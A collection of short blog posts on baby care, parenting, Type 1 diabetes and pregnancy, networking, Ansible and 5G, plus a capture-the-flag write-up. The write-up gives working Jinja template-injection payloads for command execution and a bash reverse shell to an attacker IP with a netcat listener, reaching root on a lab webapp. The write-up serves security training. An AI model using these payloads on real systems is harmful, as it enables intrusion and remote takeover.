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How to Put Your Baby to Sleep?
By: Kicks
Tags: Baby Products, Baby, Newborn, Baby Clothes, Baby Care

As parents the biggest challenge you face is getting your baby to nap. This might not seem a mammoth task to you when your baby is sleepy, but when the baby gets into a cranky mood you will understand the difficulty level of the challenge., Nothing you do would work and the baby would continue to throw a tantrum completely refusing to go to sleep and in the process you also stay up, or, put all your work schedule on hold, depending upon the time of the day.

But, how do you manage this situation? You need to understand that you both want the nap time to work, so, before you wrap your baby in baby sleep swaddle, you must keep certain things in mind so, that this battle does not turn into a fully fledged war in future.

What should be done?

· You must follow a routine here, you follow a routine for feeding and cleaning, so why napping be an exception? What you must be doing here is fixing a routine for getting your baby to sleep and make sure that you maintain that every single day. If that routine gets disrupted, then that might create problems again for you. So, stick to your routine and do not allow your baby to fall asleep at odd hours something that might clash with regular sleep cycle.

· You must not always coax the baby to go to sleep, as you hold your baby wrapped in a blanket. No as you start maintaining the routine the baby will start getting used to it and finally they will eventually fall asleep on their own, this is a habit they must develop, otherwise you will always have to coax.

· You must be careful regarding your baby’s safety, if you are aware of SIDS, then you have to take every precaution possible. Before you put the baby to sleep you must ensure that there is no pillow, or, stuffed toy or, any kind of object including blankets. Make the place safer.

What you shouldn’t do?

· There is something that parents do, every time the baby makes any noise like crying, or, whimpering or, sneezing anything they immediately rush to the baby crib and wake up the baby. This is not going to work and would wake up the baby, it is ok to be concerned and it is important to check on the baby. The baby is taking time to fall asleep, so wait before you go and wake up the baby.

· If you are taking your baby out in a car, do not let them sleep in the car for a long time. It is best to place them properly on a mattress, or you could hold them in carry nest sleeping bag.

Just follow the rules and maintain the routine and in no time both of you will get used it and enjoy a peaceful nap time.
WISHKEY Baby Bath Toy Set of 14 Pcs Chu Chu Colorful Animal Shape Toy (Multicolor)
By: Raj Ginoya
Tags: Baby Products, Baby, Baby Clothes, Baby Care, Baby Boomers

Baby toys Description

baby toys Make bath time a splash with this Value Pack of Wishkey Bath Toys including Terrestrial, Amphibian and Aquatic animals. Let your child squeeze and squirt streams of water with these colorful and fun bathtub toys. Helps improve coordination and encourages imaginative skills. Convert Bath Time into Fun Time and delight your little one with this awesome Bath Toy set.

Baby toys About

baby toys Pack of 14 Bathtime Fun Aquatic and Wild Animals Bath Toy.Bright colors for visual stimulation,Sparks the imagination.Perfectly sized for baby’s hands to hold and squeeze.

Fun Floating Characters Include : 4 types of fish,sea lion,crab,rabbit,frog,squirrel,cat,penguin,bear,duck.

Fun characters toy float in the bathtub and helps develop good hand eye coordination and Imaginative Play making bath time more fun!

It is made from premium quality rubber that is easy to clean .When you squeeze these toys, they make a lovely sound.

Age Group: 6 Months + .100% Safe & Non-Toxic: BPA Free, Phthalate Free, Lead Free.

Baby Toys Information

Number of Puzzle Pieces: 14

Batteries Required: No

Material Type(s): Plastic

Color: Multicolor

Product Dimensions: 19 x 4 x 19.5 cm; 190 Grams

Item part number: Wishkey

Manufacturer recommended age: 6 months and up

Manufacturer: Wishkey

Country of Origin: China

Item Weight: 190g

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This Baby did Something Naughty at the Grocery Store
By: Dan Stout
Tags: Baby, Humor, Life, Harlem, NYC

photo of a drawing by Dan Stout

I was living in Harlem at the time on 147th Street between Frederick Douglas Boulevard and Adam Clayton Powell Jr Boulevard. I took about a three and a half minute walk to the Pathmark on 145th Street. Out front, there is a street meat vendor that I gave hundreds of dollars to. Lamb over rice with hot sauce. Damn! Just damn.

I was most likely at the grocery store to buy ice cream, smarties, milk, and cookies. I purchased some other things too, but those were in the basket for sure. Maybe some powdered sugar. I didn’t get my m&m’s and skittles here, just so you know, I got my m&m’s and skittles at the Duane Reade up the hill a bit.

So I’m standing in line waiting to check out and I notice this baby hopping around inside the cart in front of me, you know, just kind of being a baby. His mom wasn’t really paying that much attention and I was pretty amused with him. I think he was trying to show off for me just a little. He just kept smiling at me and I kept smiling back.

That is when he reached out of the cart, grabbed some Flamin’ Hot Cheetos, and tucked them inside his onesie. He did this quickly and with plenty of grace. If I had turned away for just a couple of seconds I would have missed it. I was very impressed. I didn’t even say anything to anyone. Good job baby!

This is one of my top one hundred grocery store memories. If I try to think about it right now, I can picture it perfectly. It is burned in my memory. As soon as I got home I quickly took out a piece of paper and drew the baby.

The result is what you see at the beginning of this article. I couldn’t get the mustache right, but this is exactly what he looked like.
Tales from a Type 1
By: Elaine Douglas
Tags: Pregnancy, Baby, Type 1 Diabetes

At 15 months old, I was diagnosed with Juvenile, or Type 1, Diabetes. It was Christmas Eve, my parents had just found out they were pregnant with my brother, and there I was in the hospital. I will always appreciate the strength with which they dealt with such news at the time. A Type 1 diagnosis could have meant the end of many of their dreams for my future. It could have meant an excuse not to participate in many activities. It really could have changed the course of my life for the worse. Thank goodness for my strong parents; they never stopped guiding me to take care of myself. They NEVER let me use it as an excuse or reason to say “I can’t.”

Looking back on my childhood, I realize I have always been an “over participator” (yes — I may have just made that up. Stay tuned for more “Elaine”isms, as my parents affectionately call them). I played basketball, volleyball, soccer, and baseball. I was involved in Girl Scouts, church choir, church bells, and rode horses competitively. I took many AP classes in high school, was in Student Government, and participated in countless clubs and other extra-curricular activities.

Fast forward 29ish years — I’m 30 years old and married to my best friend. We are looking to explore the next big life milestone — pregnancy. I won’t lie — I’ve struggled with this decision A LOT. For whatever reason, pregnancy has been the thing that has caused me to say “I can’t.” I have run the gambit of why nots. “I’m diabetic, so I can’t.” “Managing my blood sugars through pregnancy is going to be almost impossible.” “I’m going to be a terrible mother.” “What if I literally cannot get pregnant?” “What if it destroys my relationship with my husband?” Trust me — the list is endless. Despite all of the reasons why not, we have found more reasons to try and so have decided to give it a try.

This blog is a telling of our journey through pregnancy with Type 1 Diabetes. We are in the early stages now — talking to doctors, taking prenatal vitamins, figuring out the right foods and exercise regimen, and dreaming of the future. Let’s see how this goes!
How To Convince A Toddler To Start Using The Potty, Even If He Is Scared Of It
By: Lily Nathan
Tags: Baby Products, Parenting, Potty Training Tips, Baby, Motherhood

Have you tried potty training your child and it just isn’t going well?

Some children are very fearful of using the potty. You, as the parent, will be able to tell what your child fears by finding out what the fear is.

Some common concerns are the flushing noise, the water in the potty or fear of falling in the potty. While there are many ways to convince your toddler, be sure to address the fear.

Here are eight simple methods to help make it easier for both you and your child:

Start practicing using the toilet around the age of two. Go out and purchase a small potty chair or a potty seat that fits over the regular sized toilet. Bring the potty chair into the room that your child spends most of their time in on a day or weekend when you have some free time. Clear your schedule before starting to potty train your child. Pick a time when you know that you and your family’s routine it least likely to be disturbed with vacations, guests, moving to a new house, and so on. Decide what words you will use to describe body parts, urine, and bowel movements. Try not to use words like “dirty,” “stinky,” or “naughty.” Using these negative terms can make your child feel self-conscience and ashamed. Use your child’s favorite action figure or doll on a pretend potty, explaining, “the baby is going pee in the potty.” Put diapers on their favorite stuffed bear and then eventually graduate the bear to underwear. Discuss with your child the advantages of being potty trained. Talk to them about not having diaper rashes anymore, not having to take time away from playing to have their diaper changed and the wonderful feeling of being clean and dry. Help them understand that potty training is a crucial stage of growing up. Use books and videos to help your child understand the process of potty training and see other children learning to use the potty. There are lots of books and videos available online or in your local bookstore. Let your child look at their favorite book while sitting on the potty to help the minutes pass by. Get out your calendar and declare a potty day; This is the day that your child would like to start potty training. Use a bright color and circle that date. Keep reminding them that “potty day” is almost here. Does your son or daughter like to unroll the toilet paper? Try squashing the roll so that the cardboard roll inside is no longer round. This way, it will not unroll as quickly. Also, little ones who are potty training will not get too much paper per pull on the roll.

Usually, it takes several practice sessions for a child to understand what they are supposed to be doing and be totally potty trained. Just remember to keep trying, your child will eventually understand and be successful.

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- WriterPoet Jamie
By: Writerpoet Jamie
Tags: Writing, Baby, Life, Determination, Dedication

Missed

Date: December 20, 2020 I missed my first day of writing last night. Not a great feeling waking up to that. I had made every effort, but fell asleep, and when I woke up, it was 1amish and I was groggy from as needed sleeping pill, so no writing. I woke up still tired, so been resting. I did write tonight, so there’s that.

I know my Little One won’t be too disappointed, as I did make the effort, and I’m back on track tonight. Missing one day out of 4/5 months, I’ll try and be easier on myself, and try and see it as a much needed resting day. The determination to write every day is great, and I hope when I can work on the other wips, I’ll have this same drive to not miss any days no matter what.
Baby Steps
By: Elaine Douglas
Tags: Pregnancy, Baby, Type 1 Diabetes, Recipes For Diabetics

We took the next steps toward starting a family — the IUD is scheduled to be removed at the end of December. After months of taking pre-natal vitamins, it’s beginning to feel more real. The nerves are definitely in full swing at this point! It almost doesn’t feel real. It probably won’t until the IUD is out. And maybe then not until I either can or cannot get pregnant.

All I know is — now the pressure is REALLY on to find at least 30 diabetic friendly recipes, pin down an exercise regimen, and to get my diabetes even more under control. You see — even though I have had a1Cs of 7 or less for the majority of my diabetic life, my control will need to be even tighter. To get to that point, my husband and I are trying different recipes to see how they impact my blood sugars. Fun fact — my favorite food, burritos, are not a good option for pregnancy with diabetes. Sad day! We have found some yummy alternatives, though, that should tide me over for the 9 months of a pregnancy (hopefully). I will definitely want a big, smothered burrito by the end of it all! Here are the recipes we have found so far:

Spaghetti Squash Shrimp Scampi

Grilled Vegetable Frittata

Salmon with Cucumber–Yogurt Sauce and Carrot Salad

Grilled chicken and veggies

Spinach, goat cheese, strawberry, chicken salad

Tilapia tacos (without rice)

Salmon Stuffed Avocados

Greek Salad

Warm Lentil Salad with Garlicky Sausage

Taco Salad

Chicken Sausages with Peppers and Cauliflower Rice

Lentil Bowls with Fried Eggs and Greens

Fajitas

Split Pea Seared Scallops with White Bean Ragu and Charred Lemon

Omelets

Tilapia with Jalapeno Crab Topping and Cauliflower Rice

Baked Huevos Rancheros

Turkey + Lime Slow Cooker Chili

We have also learned that when my blood sugars won’t come down, for whatever reason, all I need to do is go for a walk or jump on the treadmill for 30 minutes. It works every time! Now, we work on gathering more recipes and perfecting the art of getting my blood sugars under control while we wait for December to come. Baby steps!
Christmas Gift Ideas For The Would Be Mom
By: Kicks
Tags: Christmas Gift Ideas, Baby Products, Christmas, Baby, Christmas Gifts

Christmas is just days away and it is the perfect time of the year to shower your loved ones with gifts. The joy is bound to get double if you plan to host the baby shower for a special friend around this time. The fun is going to be double and you can pick an ideal gift befitting both occasions. So, have you thought about anything yet? Perhaps you are confused and freaking out as you clearly cannot decide on anything. Do not worry here are some ideas that are bound to help you overcome your dilemma.

· Get plus size maternity clothes: Your friend is pregnant and so, she would need good quality, comfortable clothes which are going to come in handy and she would really appreciate it. If she happens to be working then you could also pick some stylish yet cozy professional maternity clothes for her, she would thank you from the heart.

· Get new mom essentials: As your friend is about start the journey of motherhood once she delivers the baby, she would need a plethora of items to take care of the bay. Why don’t you get her something that would make her job a little bit easier. some of the items that you could get her are: 1) The cloth diapers: She would need this item in large numbers for a long time and it is also of the essentials she would need from the very start. So, make sure you gift her some good quality ones. 2) A good carry nest: Your friend would love a good carry nest bag as it would allow her to keep the baby warm and cozy while she is on the move.

· A nice gift basket: If you are in the mood to give her something really special then only baby shower gift baskets would be your perfect choice. It is the gift that is going to make your friend smile in joy. There are different hampers available and you need to consider all the options available before picking one. These gift baskets come with an assortment of goodies the new mother would need.

So, check out the ideas, start planning and get ready to shower your friend.

If you want to know more check the full blog here at: https://kicksandcrawl.com/blogs/news/5-cool-christmas-gift-ideas-for-new-mothers
5 Celebrity inspired Baby Boys names
By: A Midwife'S Diary
Tags: Mommy Bloggers, Baby Names, Baby, Moms

As we all know celebrities and their kids names are usually unusual. They may be to ‘out there’ for the average person. Here is a list of 5 names inspired by celebrities that aren’t to unusual but there won’t be two children with the same name in 1 class.

Ledger- This first name is inspired by Heath Ledger. The name Ledger has a Germanic origin and has a few meanings that come along with it ‘people’ ‘tribe’ ‘spear’. Woody- This one is inspired by the Hollywood film director Woody Allen. The name Woody means ‘From the lane in the woods’ and is a diminutive of the name Woodrow. Aubrey- This name is actually the real name of the rapper Drake. Aubrey has an English origin and means ‘Noble Ruler’ and is actually a gender neutral name but i just prefer it for a boy. Rupert- This name comes from the actor Rupert Grint who played Ron Weasley in Harry Potter. The meaning behind the name Rupert is ‘Bright Fame’ so it will be an amazing name for an energetic little boy. Reggie- Reggie is the name of a British TV presenter Reggie Yates. Diminutive Form Of Reginald. It is a more modern version so is perfect for this generation.
Meet the Olivia Pope of Diversity for Fortune 500 Companies
Tags: Babies, Coronavirus, Health, Life, Mental Health

Meet the Olivia Pope of Diversity for Fortune 500 Companies

Akilah Cadet, who has proudly dubbed herself “the Olivia Pope of diversity,” has been in high demand after a summer of reckoning for many companies that realize now is a great time to ensure they have strategies in place to create a more diverse environment and support their BIPOC employees. Cadet, through her company Change Cadet, sees her work — dismantling White supremacy for Fortune 500 companies, global brands, and nonprofits — as a tall but necessary task that helps companies take a proactive versus reactive approach.

“Due to the murder of George Floyd and other Black people killed by police officers, many people are reflecting on how they can do better,” Cadet explains in an interview with the Bold Italic. “These people often work at companies and realize the privilege a company or brand has to no longer add to systemic and institutional racism and oppression.”

Meet the Woman Dismantling Systemic Racism at Fortune 500 Companies

Akilah Cadet is in high demandthebolditalic.com
5 Best massage oils for your baby
By: Dr Dad
Tags: Drdad, Trending, Baby Products, Baby, Parents

Most mums massage their baby with oil every day either before or after giving them a bath.

It’s a nice traditional custom to continue because massage can benefit both you and your baby. And using oil can make massage both easier for you and more relaxing for your baby.

Massage has lots of health benefits and it plays an important role in the growth and development of the baby’s body. A good massage makes the baby’s bones strong helps in a sound sleep and can improve the baby’s digestion and skin texture.

The massaging process will also help the mother to bond with the baby. There are several baby massage oils available in the market but you need to be very careful while choosing oil for your baby.

Today I’m going to compile a list of 5 best baby oils that are specially formulated from baby-safe brands. The products mentioned in the list are from trusted brands and available easily at Amazon.

Johnson’s Baby Oil with Vitamin E

Did you know? Your baby’s skin loses moisture 2 times faster & is more prone to dryness. Johnson’s Baby Oil with Vitamin E is specially formulated for new- born babies. Johnson’s baby oil is so pure you can see through it. Its gentle formula nourishes the skin, making it smooth and soft. it is non-sticky.

Buy on Amazon

Mamaearth Soothing Massage Oil

Mamaearth’s is abug repellent. You know how difficult it is to keep babies indoors forever, right? Lets prepare them to deal with the bullies that are pesky mosquitoes, gnats and flies. This is natural, DEET free and it has the power of natural essential aromatic oils like Citronella, Peppermint & Lemon Eucalyptus. It keep babies safe and free.

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Dabur Lal Tail — Ayurvedic Baby Oil

Contains Shankhapushpi, Masha, Ratanjot, Karpura, Saral taila, Tila tail. Dabur Lal Tail is an Ayurvedic baby massage oil made using the time-tested Ayurvedic ingredients that have many proven benefits for the Baby. Its massage helps in strengthening baby’s bones and muscles and is proven safe and effective for overall physical growth of babies.

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Himalaya Baby Massage Oil

Infused with olive oil and winter cherry extracts, this Himalaya Herbal oil will nourish, protect and soften your baby’s skin. The olive oil content, which is enriched with Vitamin E, protects your baby’s skin from chafing. This oil also helps in strengthening your baby’s nails and softening cuticles.

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SebaMed Baby Massage Oil

Made in Germany;A high content of essential fatty acids in soy oil guarantees optimal skin tolerability and makes baby’s skin soft and supple without an oily film;95 Percent soy oil, 5 percent wheat germ oil;Take 2 to 3 ml of Sebamed soothing massage oil on your palm with the help of unique pump applicator and gently massage baby’s body with it

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Source: https://www.drdad.in
BUTA.IO | Haqqında
By: Nail Mammadov
Tags: Azerbaijan, Buta, Azərbaycan, Information Technology, Azerbaijan Developers

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CAR BATTERY PROBLEMS: WHEN IS IT TIME FOR A NEW BATTERY FULL INFO
By: Imran Khokher
Tags: Loss, Time, New Battery, Information Technology, Car Battery

in The New York Times
How to build a network topology where you can ping to google but can’t to Facebook
By: Gupta Aditya
Tags: Information Technology, Networking, Networking Tips, Networking Technology, Network Topology

Hey guys hope you all are doing good in today's article we are going to do and learn some interesting thing based on network.

Gen what we do to test internet is working or not we try to ping google if system pinging google then we say ok our internet is working fine no issues but when you try to ping Facebook or some other sites it shows network unreachable what does that means??? your internet is not working ???

No, your internet is working perfectly the issue is in the route table or in the IP allocation.

Today we are going to build a similar kind of system in which the system can ping google IP 8.8.8.8 but can't ping to any other sites.

Genmask:-used to give network name and help how much IP we can use

route table:-Help to define where to go and where to not

Gateway:- it is a path that changes source IP so that we can go to isp because we can not go to isp using private IP.

I am not going deep in these things as these things are way deeper I am just giving an overview but if you want to know more then let me know.

Pinging google

As you can see in the above image we have added that to go 8.8.8.0 use 192.168.1.1 gateway and genmask 255.255.255.0 means first three octet is network so effectively we can go to anywhere in b/w IP range 8.8.8.[0–255] this is the reason when trying to ping 8.8.8.8 we can ping easily because it is in the desired IP range as we set.

But as you can see below as we try to ping 69.171.250.35 it is showing error because this IP is out of range .

Now below you can we can 69.171.250.35 because it is in the range 69.171.250. (0-255)

Now we can not ping 8.8.8.8 because it out of range.

This is the reason in destination we gen give 0.0.0.0 and in genmask 0.0.0.0 because this cover all IP so that we can ping to anyone as shown below

default=0.0.0.0

Note if you are using the rhel8 cli version then to use the below command you need one software called net-tools you can download that from yum or DNF from the command:-

yum install net-tools

Some useful commands

1. To check route table

route

2. To add a new route in the route table

route add -net (ip[change with yours]) (netmask netmask[change with yours]) gw(gateway[change with yours]) network card name

eg:- route add -net 8.8.8.0 netmask 255.255.255.0 gw 192.168.1.8 enp0s3

To check network card use ifocnfig or IP a there you can see network card as you can see in below image my card is enp0s3

3. To delete route from route table

route del -net IP (ip[you want to delte from route table])

Guys, here we come to the end of this blog I hope you all like it and found it informative. If have any query feel free to reach me :)
GSM Architecture: Cellular Network
By: Info Statix
Tags: Telecommunication, Information Technology, Phone, Education, Architecture

GSM is a digital mobile network that digitizes and compresses data, then sends it down a channel with two other streams of user data.

Hello John!

In today’s world, everyone uses mobile phones and each call gets connected within a second.

Does anyone know about the process behind every call?

Cellular Network (SIM Card)

1 G

1G is a first-generation cellular standard called by different names like AMPS, MTS, and IMTS.

It was introduced in the 1980s.

It employs an analog modulation technique with FDMA

Cons:

It supports only voice services over a limited range.

1G handsets were bulkier with the antenna on top of the device.

The cons of 1G are replaced by GSM Global System for Mobile Communication.

GSM

GSM is a second-generation cellular standard and developed in 1991 by European telecommunications to support voice and data services.

It uses digital modulation with TDMA

While 2G handsets were cheaper and less in size, GSM was the first generation to introduce sim cards.

GSM had certain specifications like Uplink, downlink, transfer rate, etc to carry information.

Mobile Tower

Mainly, it has GMSK digital modulation and TDMA access method.

GSM data speed was approximately 14.4 kilobytes per second

GSM uses a different frequency band in different regions.

In India, it was 900 MHz and 1800 MHz GSM architecture is the basic architecture in a cellular network.

GSM Architecture contains four subsystems:

Mobile station Base station subsystem Network switching subsystem Operation support subsystem

It is noticed that each subsystem contains some components.
Real-Time Analytics: COVID-19 Weekly Roundup December 23, 2020
By: Rtinsights Team
Tags: here, Real Time Analytics, Information Technology, Analytics

By: RTInsights Team

December 23rd, 2020

Veterans Affairs Invests Big in Artificial Intelligence

Veterans Affairs AI initiatives aim to deliver proactive healthcare, reduce backlogs, and increase the agency’s effectiveness. Read Here

Technology Up-Leveling for Better Business Value

By actualizing the full potential of technology your business already has available, you’re in a better position to keep the trains of innovation rolling and meet objectives and goals moving forward. Read Here

Real-time Squared: The New Norm

Real-time systems must be updated and modified in real-time as soon as an issue is identified. Hence the need for real-time squared. Read Here

Keep up to date on how AI technology and real-time analytics are being used to study, track, and plan actions related to COVID-19 with RTInsights. Visit our COVID-19 page here.
IRS Impersonation Attack — CyberHoot
By: Ty Mezquita
Tags: Information Technology, Network Security, Information Security, Fraud, Cybersecurity

Fake IRS Tax Forms

This week, AbnormalSecurity reported an attack on an estimated 15–50 thousand email inboxes with a phishing attack. The attack’s purpose was to gain personal information that would allow hackers to perform ID theft or tax refund fraud. This phishing attack had victims completing a W-8BEN tax form from the IRS as a PDF attachment. However, when compared to the W-8BEN tax form on the IRS website, the form in the email asks for much more personal information. Enough information to steal their identity.

The email appeared to originate from “irs.gov”, however, a simple check of the sender’s email address revealed a spoofed (faked) message. CyberHoot investigated irs.gov and determined no-one can send an email directly from this domain except the IRS. All phishing attack messages supposedly from the irs.gov are easily identified by checking the sender carefully.

The email attack instructed recipients (below) to fill out the W-8BEN form to maintain their non-resident tax exemption status. Although this seems to target non-US citizens, the attack widened its audience by noting that US citizens must indicate their citizenship on the form and return it filled out. The attack concluded by instructing the recipient to fax the form, along with a copy of their passport, to the provided fax number.
How To Make Command Deicide When To Run When To Not In Ansible
By: Gupta Aditya
Tags: Articles, DevOps, Information Technology, Ansible, Automation

Hey guys in today's article we are going to solve an exciting use case in ansible we have to use a command module to start or stop the service but restarting service again and again or installing software one software again and again which is already installed is not a good option for production.

Here we are taking the example of an httpd server to suppose our server is running then we want our system to go to the remote system and check the status of the server is running then it should not do anything, but if the server is stopped then it should execute the command and start the server.

We have a module for this it's just an example.

For doing this we are going to use the register keyword,ignore_yes keyword etc

- hosts: all

tasks:

— command: “systemctl status httpd”

register: x

ignore_errors: yes

— debug:

var: x.rc

— command: “systemctl start httpd”

when: x.rc != 0

register keyword is used to store all output of a particular task in one variable as you can see above we have stored output of command module in x variable if the command no run then for ansible it is error and to skip it we have to use ignore_yes keywords because in ansible if one task fails then all succeeding task fail automatically.

When ansible run command it gives RC which called running code if its 0 then command run successfully and if any value other than 0 then it mean command not run. This is the reason we have set x.rc !=0 this means the command only runs when RC is not equal to zero.

Guys, here we come to the end of this blog I hope you all like it and found it informative. If have any query feel free to reach me :)
Centralized vs Decentralized Systems in the digital millennium
By: Jon Walsh
Tags: Information Technology, Tech, Business, Technology, Data

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Thinking of a new way for version control ?
By: Kunal Makwana
Tags: Coding, Virtualization, Information Technology, Docker, Linux

Presenting DOCKER :-

Docker is a set of platform as a service (PaaS) products that use OS-level virtualization to deliver software in packages called containers. Containers are isolated from one another and bundle their own software, libraries and configuration files; they can communicate with each other through well-defined channels. All containers are run by a single operating system kernel and therefore use fewer resources than virtual machines.

Here are some that you can save and use as a cheat sheet

Hope this helps you better understand the Topic

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Written by: Kunal Makwana
Every idea needs a MEDIUM
Tags: Updates, The Best, Information Technology, News

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IT and the Second Law of Thermodynamics
By: Abdallah Attie
Tags: Managed It Services, Information Technology, Entropy, Chaoss

Once in a conversation with some friends, I was asked the existential question: what do you do anyway?

Now I have a lot of cached canned responses that I use depending on the situation, time constraints and audience interest. The short answer is that I work in IT support. A longer version ponders on the concept of “Managed Services” as an evolution of the former. I also might add some sales pitch jargon like the concept of proactive support and fractional IT.

Nevertheless, I felt like going deep into my self and finding out a sincere yet witty answer. I said that — and I hope my boss doesn’t read this — I sell people the illusion of having everything under control.

So you just landed a new MS customer. You have done your homework and studied their network thoroughly. You start right away planning your on boarding steps and network enhancements you have in mind. You, and your customer of course, image — or even daydream about — a final state where the customer’s infrastructure becomes a utopia. Once you have all your tools in place, all the configuration changes done based on the best practice recommendations, and all the proposed procedures forcefully implemented, you can rightfully pat your self on the back and count on your contracts being renewed as long as your customer’s business is going.

The problem with this is that, like everything in life, we are up against the second law of thermodynamics. This law states that entropy can only increase. Entropy is loosely defined as the measure of disorderliness or chaos in the universe.

This will seem very obvious, and it is. After all, the IT people believe religiously in Murphy’s Law: Anything that can go wrong, will go wrong! Murphy’s law can be seen as a simple elegant presentation of entropy. The above can be perceived as wasting readers’ time while restating the obvious, but I beg to differ.

Since humans evolved from hunter-gatherer societies, the concept of craftsmanship dominated the spectrum of human vocations. When projected into our domain, the craftsmanship conveys the idea of accomplishment accompanied with closure. Just like when a carpenter imagines joyfully the finished form of a piece they’re working on, the IT engineers, especially those in field services, crave the project closure and the sense of accomplishment it entails.

Unfortunately, when working in IT support, this cannot be the case. The typical accomplishment goal you seek is to close all your support tickets/cases, but guess what! New cases will always come along. I remember in my early years comparing myself to hamster on a wheel.

To put all this into perspective, it is good to approach the IT support role with an adequate mindset. I hate using cliches, but I have to say that we should enjoy the ride rather then concentrate on the destination. The best way to fight the second law of thermodynamics is to use it: simply spend enough energy regularly to make incremental enhancements in our work. And finally, embracing chaos and uncertainty is always a good advice.
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How 5G will change the world
By: Engr Muhammadkashifaslam
Tags: 5g, Artificial Intelligence, Information Technology, Modern, Technology

5G is the Fifth generation technology standard for the broadband cellular network, introduced in 2016. It offers greater bandwidth and a very high download speed of around 1 Gigabit per Second. This is around 600 times faster than 4G. It can support about a million devices per square kilometer that are 10 times higher than 4G. Furthermore, it is expected to have about 2 billion users by 2025. The first country that adopted it on a large scale was South Korea in 2016. The China-based firm Huawei is the leading name of 5G network equipment maker. Here are the ways 5G will restyle your daily life:

The world of work

One of the biggest impacts of 5G is the industrial and commercial IoT or internet of things. According to research, more than 500 million objects will be tracked by 2023. Precision agriculture will soil sensors and airborne cameras to identify crop disease, determine when to water. Smart factories will be able to deploy connected robots to get repetitive and dangerous jobs done. We have to see all these changes once the ultra-fast wireless networks are in place, accommodating 125 billion IoT devices by 2030.

2.Healthcare

With 5G devices, visits to clinics will be rare. Wearables and implanted medical devices will take your vitals and transmit them to health care providers, enabling them to detect early warnings of heart attacks, strokes, etc. This high-speed technology also allows telesurgery where specialists in one hospital can control equipment in another distanced by thousand miles. One telesurgery took place in China, in which part of a pig’s liver was removed successfully using 5G.

3.Smart Cities

5G technology will enable cities to handle data from millions more internet of things and install low power sensors that can last years. This will allow them to smartly control the flow of traffic, air quality, power consumption, security.

4.Driverless Cars

human errors are responsible for the majority of road accidents. With 5G, fully autonomous driverless cars, communicating with other cars around them, preventing accidents and traffic by communicating embedded sensors in the traffic lights, road signs, and the pavement to navigate safely. This will eventually reduce road fatalities.

5.Next-level Gaming

5G will take online gaming to a new horizon with its ultra-high data speed. The gaming market will explode as 5G immerses gamers into AR and mixed reality experiences by visually transforming the world around them.

Conclusion

In a nutshell,5G technology will shape the decades to come. It will bring revolutionary changes from individual to collective spheres of our lives by offering more comfort, ease, and luxuries.
CTF [Dec 11–15]: Pwn a buggy webapp in 5 minutes
By: Shivam Bathla
Tags: Ctf, Security, Information Technology, Cybersecurity, Hacking

In this post, I will be talking about an intentional bypass that allows you to get root and solve the whole WebApp Security CTF under 5 mins!

Try the challenge yourself: https://attackdefense.com/challengedetails?cid=2160

Note: If you want a organized solution where all the flags are retrieved in the order, then take a look at the manual.

Scenario:

We get a Code IDE webapp that shows a login page:

Code IDE webapp

Hacking our way in!

Enter any random credentials and try to login:

Login attempt using some random credentials

Note: Use Burp proxy to intercept all the requests.

Notice that the request goes to port 8000 of the target machine!

Let’s try and access the API in the browser:

Uh no! Page Not Found :/

Try to access some random page:

Oh nice! Page name gets reflected

Awesome, so the page name gets reflected in the response.

Check the response of the above request in the HTTP History tab in Burp:

Response indicates of Python (Werkzeug) backend

The backend is Python-based (Werkzeug WSGI utility is used)!

Try to see if the page is vulnerable to SSTI (Server-Side Template Injection):

URL: 192.248.251.3:8000/{{7*’7'}}

Awesome! The backend is vulnerable to SSTI

The response makes me really happy! The backend is vulnerable to SSTI and it is probably using Jinja template at the backend!

Try running shell commands now:

SSTI Payload: {{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}

Fantastic! We can execute shell commands as well

Next step would be to get a shell session!

Getting the IP address of the attacker machine:

Checking the IP address of the attacker machine

Start a netcat listener on the attacker machine to receive back the shell session:

Started a netcat listener on port 4444 on the attacker machine

Send the following SSTI payload to the backend API:

SSTI Payload: {{config.__class__.__init__.__globals__[‘os’].popen(“bash -c ‘bash -i >& /dev/tcp/192.248.251.2/4444 0>&1’”).read()}}

Notice the terminal where the netcat listener was started:

Wow! Is that a root shell :D

Yes we are root!

Now its just simple from here… Just use grep and find commands and take out the flags :D

The database credentials can be found in the backend API code and that would let you get the root credentials.

Also, there was one more flaw -
How TECHNOLOGY took out the headache of Ghana’s 2020 election
By: Niit Openlabs Ghana
Tags: Data Science, Election, Information Technology, Digitalization, Digital Transformation

image by Francis Kokoroko

Digital transformation is getting more trendy among policy-makers, economists, and industry leaders about its societal impact. We will all agree that for some time now, we have been in a new stage of transformation where corporations and countries are focused on equipping themselves with advanced technologies and new business models to catch up with the fast-changing world. The question is, is this digital transformation making a positive contribution to our society?

In my view, it is. Information Technology is playing an incredible role in making human lives easier. It has added value to society and has also been of great help in mitigating important issues, including public health, our environment and biodiversity, and democratic processes. A case in point is the crucial role it played in the just-ended election in Ghana.

As evident in the recent elections held on December 7, 2020, Information technology was used as a solution for many electoral hurdles, such as the creation of an accurate voter register, simplified voting and result tallying, faster transmission of election results, etc

Another example was the adoption of social media as a medium of campaigning by most political parties. The usually crowded rallies couldn’t be organized because of the COVID-19 pandemic that made such gatherings impossible. One could see adverts across social media channels of political parties trying to get their campaign message across. Social media was also used as a tool to promote peace. Hashtags such #Ghanaforpeace #peacefullelection2020 amongst others were created to preach peace.

Again, the Electoral Commission (EC) of Ghana’s use of another biometric verification (facial recognition) method made the whole process even easier. It solved the thorny issue of manual verification when the thumbprint fails creating confusion amongst party observers This addressed the hustle people go through to vote, joining long queues, etc, a challenge which was prevalent in the previous election.

We can confidently say that Ghana passed yet another democratic test when it conducted what has been described as the best organized general elections in the country’s history with the help of digitalization and the use of modern technology.

With the way digitalization is helping solve major problems around the world, I see the future as promising. There is a need for everyone to be abreast with modern technology to fit in the digital future. With the introduction of technologies like Robotics and IOT, Data Analytics, Data Science, Digital Marketing, etc, we all can find a space within our interest to equip ourselves with the skills needed to fit in.

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Imelda Badoe
100 Words On….. Existing
By: Digitally Vicarious
Tags: Information Technology, Existence, 100 Words Project, Humanity, Mental Health

Photo by Austin Chan on Unsplash

Are we living “Digitally Vicarious”? It seems that relevance is achieved through multiple online profiles with many of our friends, family, and colleagues only knowing us through our electronic selves. We spend too much time managing our virtual existence rather than our physical one, and nearly always at the cost of what makes us human. Living online should only be complimentary rather than seen as a replacement. It becomes all too easy to hide behind avatars and projected perfection when the true beauty of life is the self with the electronic noise filtered. Experience life in analogue, not in digital.
100 Words On….. Progress
By: Digitally Vicarious
Tags: Information Technology, 100 Words Project, Cybersecurity, Human Error, Progress

Photo by Isaac Smith on Unsplash

